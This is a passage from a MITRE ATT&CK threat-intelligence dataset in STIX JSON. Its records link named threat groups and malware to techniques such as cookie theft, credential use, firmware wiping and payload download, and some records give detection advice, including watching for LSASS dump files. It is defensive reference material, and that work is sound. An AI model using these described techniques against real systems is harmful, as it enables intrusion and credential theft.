"relationship--acd4b81e-6bef-4ac0-bf4b-2428b5c9c6b9", "type": "relationship", "created": "2021-03-12T18:46:47.273Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021."}], "modified": "2021-03-12T18:46:47.273Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) has been executed via MSHTA application.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--acdab071-f314-4671-a794-3c792b559c28", "type": "relationship", "created": "2021-01-28T17:08:52.211Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET EvilNum July 2020", "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}], "modified": "2021-01-28T17:08:52.211Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) can deploy additional components or tools as needed.(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--acdc53fa-91d6-4417-bc7b-83c220ec9fae", "created": "2019-01-30T15:27:06.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT1 Appendix", "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", "url": "https://www.mandiant.com/sites/default/files/2021-09/mandiant-apt1-report.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-26T19:55:54.859Z", "description": "[Seasalt](https://attack.mitre.org/software/S0345) has a command to delete a specified file.(Citation: Mandiant APT1 Appendix)", "relationship_type": "uses", "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ace08873-7afc-42e0-a58f-3d67ee6964b1", "created": "2024-02-26T14:21:37.751Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-26T14:21:37.751Z", "description": "Set and enforce secure password policies for accounts.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ace0d0ba-7ee5-46cd-be08-2b33d217a13d", "created": "2022-01-11T14:54:27.153Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Novetta Winnti April 2015", "description": "Novetta Threat Research Group. (2015, April 7). Winnti Analysis. Retrieved February 8, 2017.", "url": "https://web.archive.org/web/20150412223949/http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-20T22:02:53.998Z", "description": "The [Winnti for Windows](https://attack.mitre.org/software/S0141) dropper can place malicious payloads on targeted systems.(Citation: Novetta Winnti April 2015)", "relationship_type": "uses", "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ace53417-c3e0-49b6-b3d1-04451b94ee75", "type": "relationship", "created": "2022-03-30T14:26:51.859Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.859Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--acece0c4-4c9e-4c11-a57a-f01bb23abbf7", "type": "relationship", "created": "2021-03-15T19:28:36.425Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Eclypsium Trickboot December 2020", "url": "https://eclypsium.com/wp-content/uploads/2020/12/TrickBot-Now-Offers-TrickBoot-Persist-Brick-Profit.pdf", "description": "Eclypsium, Advanced Intelligence. (2020, December 1). TRICKBOT NOW OFFERS \u2018TRICKBOOT\u2019: PERSIST, BRICK, PROFIT. Retrieved March 15, 2021."}], "modified": "2021-04-10T13:32:55.196Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) module \"Trickboot\" can write or erase the UEFI/BIOS firmware of a compromised device.(Citation: Eclypsium Trickboot December 2020)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--f5bb433e-bdf6-4781-84bc-35e97e43be89", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--acfadf9a-afa5-413e-8855-a96947c5ab26", "type": "relationship", "created": "2021-10-07T21:28:23.908Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-14T22:58:54.604Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses <code>scp</code> to access the <code>~/Library/Cookies/Cookies.binarycookies</code> file.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--acfaf7ec-7b92-40ec-a844-17089791a663", "created": "2019-09-23T23:08:25.404Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.537Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) used a ransomware called Encryptor RaaS to encrypt files on the targeted systems and provide a ransom note to the user.(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad06b85a-a0df-41aa-8f45-f41504987918", "created": "2020-05-13T17:16:11.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CrowdStrike Grim Spider May 2019", "description": "John, E. and Carvey, H. (2019, May 30). Unraveling the Spiderweb: Timelining ATT&CK Artifacts Used by GRIM SPIDER. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/timelining-grim-spiders-big-game-hunting-tactics/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-12T14:30:20.662Z", "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad0a3982-7d88-4037-9078-000cb4d5746e", "type": "relationship", "created": "2022-03-30T14:26:51.850Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.850Z", "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.", "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad0b78f7-37e9-489b-b4ae-ee9c3d8a2075", "type": "relationship", "created": "2021-01-11T19:29:56.371Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."}, {"source_name": "Proofpoint NETWIRE December 2020", "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns", "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}], "modified": "2021-01-12T18:38:41.559Z", "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can issue commands using cmd.exe.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)", "relationship_type": "uses", "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad13d567-26ad-46bf-86ba-e2b050d31820", "created": "2023-12-27T18:00:47.678Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-12-27T18:00:47.678Z", "description": "Monitor for the unexpected creation of memory dump files (e.g., `lsass{*}.dmp`) for processes that may contain credentials, such as LSASS.", "relationship_type": "detects", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ad1695a7-76ee-493c-a983-9fa240b8ebb6", "created": "2022-03-30T14:26:51.833Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. Monitor for updates to IAM policies and roles attached to user accounts.", "modified": "2022-05-27T13:59:27.234Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad1d9fc5-b971-4a89-a099-128317dd1e41", "type": "relationship", "created": "2021-06-30T19:41:41.845Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. 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Retrieved July 8, 2019."}], "modified": "2019-07-14T21:04:45.412Z", "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can collect files from USB thumb drives.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad3298b6-8cb5-4c4e-b2be-e058273c15be", "type": "relationship", "created": "2020-05-08T18:41:16.441Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Inception Framework March 2018", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies", "description": "Symantec. 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Retrieved June 28, 2019."}], "modified": "2019-07-01T18:16:33.088Z", "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has deleted the initial dropper after running through the environment checks.(Citation: Cyphort EvilBunny Dec 2014)", "relationship_type": "uses", "source_ref": "malware--a8a778f5-0035-4870-bb25-53dc05029586", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad3f239b-8a48-40dd-aa07-71fddb19e275", "type": "relationship", "created": "2021-07-02T14:18:53.609Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. 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Retrieved November 14, 2018."}], "modified": "2019-04-17T22:12:24.931Z", "description": "[Elise](https://attack.mitre.org/software/S0081) is capable of launching a remote shell on the host to delete itself.(Citation: Accenture Dragonfish Jan 2018)", "relationship_type": "uses", "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--ad5e568c-376c-4ab8-be50-e965feb0c160", "created": "2022-06-15T13:56:07.037Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. 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Retrieved July 15, 2020."}], "modified": "2020-07-15T19:28:00.872Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to wipe event logs.(Citation: FireEye Hacking Team)(Citation: Gh0stRAT ATT March 2019)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad6cad0b-d827-4182-baf9-826c6788cf4e", "created": "2023-07-31T19:35:50.201Z", "revoked": false, "external_references": [{"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. 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Retrieved March 18, 2021."}], "modified": "2021-04-25T23:34:23.759Z", "description": "[Out1](https://attack.mitre.org/software/S0594) can copy files and Registry data from compromised hosts.(Citation: Trend Micro Muddy Water March 2021)", "relationship_type": "uses", "source_ref": "tool--80c815bb-b24a-4b9c-9d73-ff4c075a278d", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad731b3e-709e-49d0-a501-6fe69f78a428", "type": "relationship", "created": "2019-04-17T13:46:38.809Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cofense Astaroth Sept 2018", "url": "https://cofense.com/seeing-resurgence-demonic-astaroth-wmic-trojan/", "description": "Doaty, J., Garrett, P.. (2018, September 10). We\u2019re Seeing a Resurgence of the Demonic Astaroth WMIC Trojan. Retrieved April 17, 2019."}, {"description": "Salem, E. (2019, February 13). ASTAROTH MALWARE USES LEGITIMATE OS AND ANTIVIRUS PROCESSES TO STEAL PASSWORDS AND PERSONAL DATA. Retrieved April 17, 2019.", "url": "https://www.cybereason.com/blog/information-stealing-malware-targeting-brazil-full-research", "source_name": "Cybereason Astaroth Feb 2019"}, {"source_name": "Securelist Brazilian Banking Malware July 2020", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}], "modified": "2020-11-09T16:28:38.110Z", "description": "[Astaroth](https://attack.mitre.org/software/S0373) uses [certutil](https://attack.mitre.org/software/S0160) and [BITSAdmin](https://attack.mitre.org/software/S0190) to download additional malware. (Citation: Cofense Astaroth Sept 2018)(Citation: Cybereason Astaroth Feb 2019)(Citation: Securelist Brazilian Banking Malware July 2020)", "relationship_type": "uses", "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad7592fd-f5d3-4802-9217-dffe89a6c8eb", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Accenture Hogfish April 2018", "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. 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(2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019"}], "modified": "2019-06-28T14:59:17.849Z", "description": "(Citation: FireEye FIN6 Apr 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad77932b-9632-4816-b9af-db6257f5a7d4", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Catchamas April 2018", "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"}], "modified": "2020-03-16T23:39:20.253Z", "description": "[Catchamas](https://attack.mitre.org/software/S0261) stores the gathered data from the machine in .db files and .bmp files under four separate locations.(Citation: Symantec Catchamas April 2018)", "relationship_type": "uses", "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad787fb5-9d63-423d-941f-bfe7648b2e24", "created": "2019-01-29T18:55:20.971Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Riskiq Remcos Jan 2018", "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. 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(2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}, {"source_name": "ESET Casbaneiro Oct 2019", "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/", "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}], "modified": "2021-09-27T17:42:20.567Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has a function that can watch the contents of the system clipboard for valid bitcoin addresses, which it then overwrites with the attacker's address.(Citation: Fortinet Metamorfo Feb 2020)(Citation: ESET Casbaneiro Oct 2019) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--d0613359-5781-4fd2-b5be-c269270be1f6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad7f635b-7775-4706-8577-eee00612c996", "type": "relationship", "created": "2020-11-06T18:40:38.191Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf", "description": "Strategic Cyber LLC. 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Retrieved April 13, 2021."}], "modified": "2021-10-18T19:54:13.218Z", "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform browser pivoting and inject into a user's browser to inherit cookies, authenticated HTTP sessions, and client SSL certificates.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad825dd4-a26c-4468-8c11-91124ef9042d", "type": "relationship", "created": "2020-06-19T20:39:21.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. 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Retrieved December 27, 2018.", "source_name": "Cybereason Cobalt Kitty 2017"}], "modified": "2020-06-19T20:39:21.857Z", "description": "[Denis](https://attack.mitre.org/software/S0354) has a version written in PowerShell.(Citation: Cybereason Cobalt Kitty 2017)\t", "relationship_type": "uses", "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--ad87ebba-c4fc-458a-8ccd-c1cbd16ae14d", "created": "2022-09-28T13:29:53.437Z", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T13:29:53.437Z", "description": "", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad880548-e776-4e7b-995d-ce6fdc91e865", "type": "relationship", "created": "2020-06-25T17:48:41.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "objective-see windtail1 dec 2018", "url": "https://objective-see.com/blog/blog_0x3B.html", "description": "Wardle, Patrick. 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Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-targets-ivanti-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-29T14:58:29.806Z", "description": "[WARPWIRE](https://attack.mitre.org/software/S1116) can capture credentials submitted during the web logon process in order to access layer seven applications such as RDP.(Citation: Mandiant Cutting Edge January 2024)", "relationship_type": "uses", "source_ref": "malware--a5818d36-e9b0-46da-842d-b727a5e36ea6", "target_ref": "attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--ad8d3784-2eea-47b4-b13d-d16d0211acf3", "type": "relationship", "created": "2020-07-06T14:49:46.322Z", 